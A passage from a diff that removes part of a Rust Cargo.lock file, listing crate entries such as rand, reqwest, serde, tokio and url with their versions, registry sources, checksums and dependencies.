-checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd96a1e8ed2596c337f8eae5f24924ec83f5ad5ab21ea8e455d3566c69fbcaf7"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3bcdf212e9776fbcb2d23ab029360416bb1706b1aea2d1a5ba002727cbcab804"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "rand"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d71dacdc3c88c1fde3885a3be3fbab9f35724e6ce99467f7d9c5026132184ca"
-dependencies = [
- "autocfg 0.1.6",
- "libc",
- "rand_chacha 0.1.1",
- "rand_core 0.4.2",
- "rand_hc",
- "rand_isaac",
- "rand_jitter",
- "rand_os",
- "rand_pcg",
- "rand_xorshift",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha 0.3.1",
- "rand_core 0.6.3",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "556d3a1ca6600bfcbab7c7c91ccb085ac7fbbcd70e008a98742e7847f4f7bcef"
-dependencies = [
- "autocfg 0.1.6",
- "rand_core 0.3.1",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.6.3",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a6fdeb83b075e8266dcc8762c22776f6877a63111121f5f8c7411e5be7eed4b"
-dependencies = [
- "rand_core 0.4.2",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c33a3c44ca05fa6f1807d8e6743f3824e8509beca625669633be0acbdf509dc"
-
-[[package]]
-name = "rand_core"
-version = "0.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7"
-dependencies = [
- "getrandom",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b40677c7be09ae76218dc623efbf7b18e34bced3f38883af07bb75630a21bc4"
-dependencies = [
- "rand_core 0.3.1",
-]
-
-[[package]]
-name = "rand_isaac"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ded997c9d5f13925be2a6fd7e66bf1872597f759fd9dd93513dd7e92e5a5ee08"
-dependencies = [
- "rand_core 0.3.1",
-]
-
-[[package]]
-name = "rand_jitter"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1166d5c91dc97b88d1decc3285bb0a99ed84b05cfd0bc2341bdf2d43fc41e39b"
-dependencies = [
- "libc",
- "rand_core 0.4.2",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "rand_os"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b75f676a1e053fc562eafbb47838d67c84801e38fc1ba459e8f180deabd5071"
-dependencies = [
- "cloudabi",
- "fuchsia-cprng",
- "libc",
- "rand_core 0.4.2",
- "rdrand",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "rand_pcg"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abf9b09b01790cfe0364f52bf32995ea3c39f4d2dd011eac241d2914146d0b44"
-dependencies = [
- "autocfg 0.1.6",
- "rand_core 0.4.2",
-]
-
-[[package]]
-name = "rand_xorshift"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cbf7e9e623549b0e21f6e97cf8ecf247c1a8fd2e8a992ae265314300b2455d5c"
-dependencies = [
- "rand_core 0.3.1",
-]
-
-[[package]]
-name = "rdrand"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "678054eb77286b51581ba43620cc911abf02758c91f93f479767aed0f90458b2"
-dependencies = [
- "rand_core 0.3.1",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.2.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42"
-dependencies = [
- "bitflags",
-]
-
-[[package]]
-name = "regex"
-version = "1.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d83f127d94bdbcda4c8cc2e50f6f84f4b611f69c902699ca385a39c3a75f9ff1"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.6.26"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49b3de9ec5dc0a3417da371aab17d729997c15010e7fd24ff707773a33bddb64"
-
-[[package]]
-name = "remove_dir_all"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "reqwest"
-version = "0.11.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "246e9f61b9bb77df069a947682be06e31ac43ea37862e244a69f177694ea6d22"
-dependencies = [
- "base64 0.13.0",
- "bytes 1.1.0",
- "encoding_rs",
- "futures-core",
- "futures-util",
- "http",
- "http-body",
- "hyper 0.14.19",
- "hyper-rustls",
- "ipnet",
- "js-sys",
- "lazy_static",
- "log 0.4.17",
- "mime 0.3.16",
- "mime_guess",
- "percent-encoding 2.1.0",
- "pin-project-lite",
- "rustls",
- "serde",
- "serde_json",
- "serde_urlencoded 0.7.0",
- "tokio",
- "tokio-rustls",
- "url 2.2.2",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
- "webpki-roots",
- "winreg",
-]
-
-[[package]]
-name = "ring"
-version = "0.16.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc"
-dependencies = [
- "cc",
- "libc",
- "once_cell",
- "spin",
- "untrusted",
- "web-sys",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "rustc_version"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a"
-dependencies = [
- "semver",
-]
-
-[[package]]
-name = "rustls"
-version = "0.19.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35edb675feee39aec9c99fa5ff985081995a06d594114ae14cbe797ad7b7a6d7"
-dependencies = [
- "base64 0.13.0",
- "log 0.4.17",
- "ring",
- "sct",
- "webpki",
-]
-
-[[package]]
-name = "rustls-native-certs"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a07b7c1885bd8ed3831c289b7870b13ef46fe0e856d288c30d9cc17d75a2092"
-dependencies = [
- "openssl-probe",
- "rustls",
- "schannel",
- "security-framework",
-]
-
-[[package]]
-name = "ryu"
-version = "1.0.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695"
-
-[[package]]
-name = "safemem"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2b08423011dae9a5ca23f07cf57dac3857f5c885d352b76f6d95f4aea9434d0"
-
-[[package]]
-name = "schannel"
-version = "0.1.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2"
-dependencies = [
- "lazy_static",
- "windows-sys",
-]
-
-[[package]]
-name = "scopeguard"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94258f53601af11e6a49f722422f6e3425c52b06245a5cf9bc09908b174f5e27"
-
-[[package]]
-name = "scopeguard"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
-
-[[package]]
-name = "sct"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce"
-dependencies = [
- "ring",
- "untrusted",
-]
-
-[[package]]
-name = "security-framework"
-version = "2.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dc14f172faf8a0194a3aded622712b0de276821addc574fa54fc0a1167e10dc"
-dependencies = [
- "bitflags",
- "core-foundation",
- "core-foundation-sys",
- "libc",
- "security-framework-sys",
-]
-
-[[package]]
-name = "security-framework-sys"
-version = "2.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "semver"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403"
-dependencies = [
- "semver-parser",
-]
-
-[[package]]
-name = "semver-parser"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
-
-[[package]]
-name = "serde"
-version = "1.0.137"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61ea8d54c77f8315140a05f4c7237403bf38b72704d031543aa1d16abbf517d1"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.137"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f26faba0c3959972377d3b2d306ee9f71faee9714294e41bb777f83f88578be"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b7ce2b32a1aed03c558dc61a5cd328f15aff2dbc17daad8fb8af04d2100e15c"
-dependencies = [
- "itoa 1.0.2",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_qs"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8a72808528a89fa9eca23bbb6a1eb92cb639b881357269b6510f11e50c0f8a9"
-dependencies = [
- "percent-encoding 2.1.0",
- "serde",
- "thiserror",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ec5d77e2d4c73717816afac02670d5c4f534ea95ed430442cad02e7a6e32c97"
-dependencies = [
- "dtoa",
- "itoa 0.4.8",
- "serde",
- "url 2.2.2",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edfa57a7f8d9c1d260a549e7224100f6c43d43f9103e06dd8b4095a9b2b43ce9"
-dependencies = [
- "form_urlencoded",
- "itoa 0.4.8",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "sha-1"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7d94d0bede923b3cea61f3f1ff57ff8cdfd77b400fb8f9998949e0cf04163df"
-dependencies = [
- "block-buffer 0.7.3",
- "digest 0.8.1",
- "fake-simd",
- "opaque-debug 0.2.3",
-]
-
-[[package]]
-name = "sha-1"
-version = "0.9.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99cd6713db3cf16b6c84e06321e049a9b9f699826e16096d23bbcc44d15d51a6"
-dependencies = [
- "block-buffer 0.9.0",
- "cfg-if 1.0.0",
- "cpufeatures",
- "digest 0.9.0",
- "opaque-debug 0.3.0",
-]
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "siphasher"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b8de496cf83d4ed58b6be86c3a275b8602f6ffe98d3024a869e124147a9a3ac"
-
-[[package]]
-name = "slab"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32"
-
-[[package]]
-name = "smallvec"
-version = "0.6.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b97fcaeba89edba30f044a10c6a3cc39df9c3f17d7cd829dd1446cab35f890e0"
-dependencies = [
- "maybe-uninit",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc88c725d61fc6c3132893370cac4a0200e3fedf5da8331c570664b1987f5ca2"
-
-[[package]]
-name = "socket2"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0"
-dependencies = [
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "spin"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d"
-
-[[package]]
-name = "stable_deref_trait"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-
-[[package]]
-name = "stfu8"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bf70433e3300a3c395d06606a700cdf4205f4f14dbae2c6833127c6bb22db77"
-dependencies = [
- "lazy_static",
- "regex",
-]
-
-[[package]]
-name = "strsim"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a"
-
-[[package]]
-name = "syn"
-version = "1.0.98"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c50aef8a904de4c23c788f104b7dddc7d6f79c647c7c8ce4cc8f73eb0ca773dd"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "tempfile"
-version = "3.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4"
-dependencies = [
- "cfg-if 1.0.0",
- "fastrand",
- "libc",
- "redox_syscall",
- "remove_dir_all",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "termcolor"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "textwrap"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
-dependencies = [
- "unicode-width",
-]
-
-[[package]]
-name = "thiserror"
-version = "1.0.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd829fe32373d27f76265620b5309d0340cb8550f523c1dda251d6298069069a"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0396bc89e626244658bef819e22d0cc459e795a5ebe878e6ec336d1674a8d79a"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "time"
-version = "0.1.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255"
-dependencies = [
- "libc",
- "wasi 0.10.0+wasi-snapshot-preview1",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "tinyvec"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c"
-
-[[package]]
-name = "tokio"
-version = "1.19.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c51a52ed6686dd62c320f9b89299e9dfb46f730c7a48e635c19f21d116cb1439"
-dependencies = [
- "bytes 1.1.0",
- "libc",
- "memchr",
- "mio 0.8.4",
- "num_cpus",
- "once_cell",
- "parking_lot 0.12.1",
- "pin-project-lite",
- "signal-hook-registry",
- "socket2",
- "tokio-macros",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "tokio-codec"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c501eceaf96f0e1793cf26beb63da3d11c738c4a943fdf3746d81d64684c39f"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "tokio-io",
-]
-
-[[package]]
-name = "tokio-executor"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f27ee0e6db01c5f0b2973824547ce7e637b2ed79b891a9677b0de9bd532b6ac"
-dependencies = [
- "crossbeam-utils",
- "futures 0.1.31",
-]
-
-[[package]]
-name = "tokio-io"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5090db468dad16e1a7a54c8c67280c5e4b544f3d3e018f0b913b400261f85926"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "log 0.4.17",
-]
-
-[[package]]
-name = "tokio-macros"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9724f9a975fb987ef7a3cd9be0350edcbe130698af5b8f7a631e23d42d052484"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "tokio-reactor"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6af16bfac7e112bea8b0442542161bfc41cbfa4466b580bdda7d18cb88b911ce"
-dependencies = [
- "crossbeam-utils",
- "futures 0.1.31",
- "lazy_static",
- "log 0.4.17",
- "mio 0.6.23",
- "num_cpus",
- "parking_lot 0.7.1",
- "slab",
- "tokio-executor",
- "tokio-io",
- "tokio-sync",
-]
-
-[[package]]
-name = "tokio-rustls"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc6844de72e57df1980054b38be3a9f4702aba4858be64dd700181a8a6d0e1b6"
-dependencies = [
- "rustls",
- "tokio",
- "webpki",
-]
-
-[[package]]
-name = "tokio-stream"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df54d54117d6fdc4e4fea40fe1e4e566b3505700e148a6827e59b34b0d2600d9"
-dependencies = [
- "futures-core",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "tokio-sync"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2162248ff317e2bc713b261f242b69dbb838b85248ed20bb21df56d60ea4cae7"
-dependencies = [
- "fnv",
- "futures 0.1.31",
-]
-
-[[package]]
-name = "tokio-tcp"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d14b10654be682ac43efee27401d792507e30fd8d26389e1da3b185de2e4119"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "iovec",
- "mio 0.6.23",
- "tokio-io",
- "tokio-reactor",
-]
-
-[[package]]
-name = "tokio-tls"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "354b8cd83825b3c20217a9dc174d6a0c67441a2fae5c41bcb1ea6679f6ae0f7c"
-dependencies = [
- "futures 0.1.31",
- "native-tls",
- "tokio-io",
-]
-
-[[package]]
-name = "tokio-tungstenite"
-version = "0.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "511de3f85caf1c98983545490c3d09685fa8eb634e57eec22bb4db271f46cbd8"
-dependencies = [
- "futures-util",
- "log 0.4.17",
- "pin-project",
- "rustls",
- "tokio",
- "tokio-rustls",
- "tungstenite",
- "webpki",
- "webpki-roots",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.6.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1caa0b0c8d94a049db56b5acf8cba99dc0623aab1b26d5b5f5e2d945846b3592"
-dependencies = [
- "bytes 1.1.0",
- "futures-core",
- "futures-sink",
- "log 0.4.17",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc463cd8deddc3770d20f9852143d50bf6094e640b485cb2e189a2099085ff45"
-dependencies = [
- "bytes 1.1.0",
- "futures-core",
- "futures-sink",
- "pin-project-lite",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "toml"
-version = "0.5.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "tower-service"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52"
-
-[[package]]
-name = "tracing"
-version = "0.1.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a400e31aa60b9d44a52a8ee0343b5b18566b03a8321e0d321f695cf56e940160"
-dependencies = [
- "cfg-if 1.0.0",
- "pin-project-lite",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.28"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b7358be39f2f274f322d2aaed611acc57f382e8eb1e5b48cb9ae30933495ce7"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "traitobject"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "efd1f82c56340fdf16f2a953d7bda4f8fdffba13d93b00844c25572110b26079"
-
-[[package]]
-name = "try-lock"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642"
-
-[[package]]
-name = "tungstenite"
-version = "0.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a0b2d8558abd2e276b0a8df5c05a2ec762609344191e5fd23e292c910e9165b5"
-dependencies = [
- "base64 0.13.0",
- "byteorder",
- "bytes 1.1.0",
- "http",
- "httparse",
- "log 0.4.17",
- "rand 0.8.5",
- "rustls",
- "rustls-native-certs",
- "sha-1 0.9.8",
- "thiserror",
- "url 2.2.2",
- "utf-8",
- "webpki",
-]
-
-[[package]]
-name = "typeable"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1410f6f91f21d1612654e7cc69193b0334f909dcf2c790c4826254fbb86f8887"
-
-[[package]]
-name = "typenum"
-version = "1.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987"
-
-[[package]]
-name = "ucd-trie"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56dee185309b50d1f11bfedef0fe6d036842e3fb77413abef29f8f8d1c5d4c1c"
-
-[[package]]
-name = "unicase"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f4765f83163b74f957c797ad9253caf97f103fb064d3999aea9568d09fc8a33"
-dependencies = [
- "version_check 0.1.5",
-]
-
-[[package]]
-name = "unicase"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6"
-dependencies = [
- "version_check 0.9.4",
-]
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5bd2fe26506023ed7b5e1e315add59d6f584c621d037f9368fea9cfb988f368c"
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81dee68f85cab8cf68dec42158baf3a79a1cdc065a8b103025965d6ccb7f6cbd"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99"
-
-[[package]]
-name = "unicode-width"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3ed742d4ea2bd1176e236172c8429aaf54486e7ac098db29ffe6529e0ce50973"
-
-[[package]]
-name = "untrusted"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a"
-
-[[package]]
-name = "url"
-version = "1.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd4e7c0d531266369519a4aa4f399d748bd37043b00bde1e4ff1f60a120b355a"
-dependencies = [
- "idna 0.1.5",
- "matches",
- "percent-encoding 1.0.1",
-]
-
-[[package]]
-name = "url"
-version = "2.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c"
-dependencies = [
- "form_urlencoded",
- "idna 0.2.3",
- "matches",
- "percent-encoding 2.1.0",
-]
-
-[[package]]
-name = "utf-8"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
-
-[[package]]
-name = "vcpkg"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
-
-[[package]]
-name = "vec_map"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
-
-[[package]]
-name = "version_check"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "914b1a6776c4c929a602fafd8bc742e06365d4bcbe48c30f9cca5824f70dc9dd"
-
-[[package]]
-name = "version_check"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "voca_rs"
-version = "1.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec29ce40c253a1579092852bbea5cb4fbcf34c04b91d8127300202aa17c998fc"
-dependencies = [
- "regex",
- "stfu8",
- "unicode-segmentation",
-]
-
-[[package]]
-name = "want"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0"
-dependencies = [
- "log 0.4.17",
- "try-lock",
-]
-
-[[package]]
-name = "wasi"
-version = "0.10.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "wasm-bindgen"
-version = "0.2.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7c53b543413a17a202f4be280a7e5c62a1c69345f5de525ee64f8cfdbc954994"
-dependencies = [
- "cfg-if 1.0.0",
- "serde",
- "serde_json",
- "wasm-bindgen-macro",
-]
-
-[[package]]
-name = "wasm-bindgen-backend"
-version = "0.2.81"
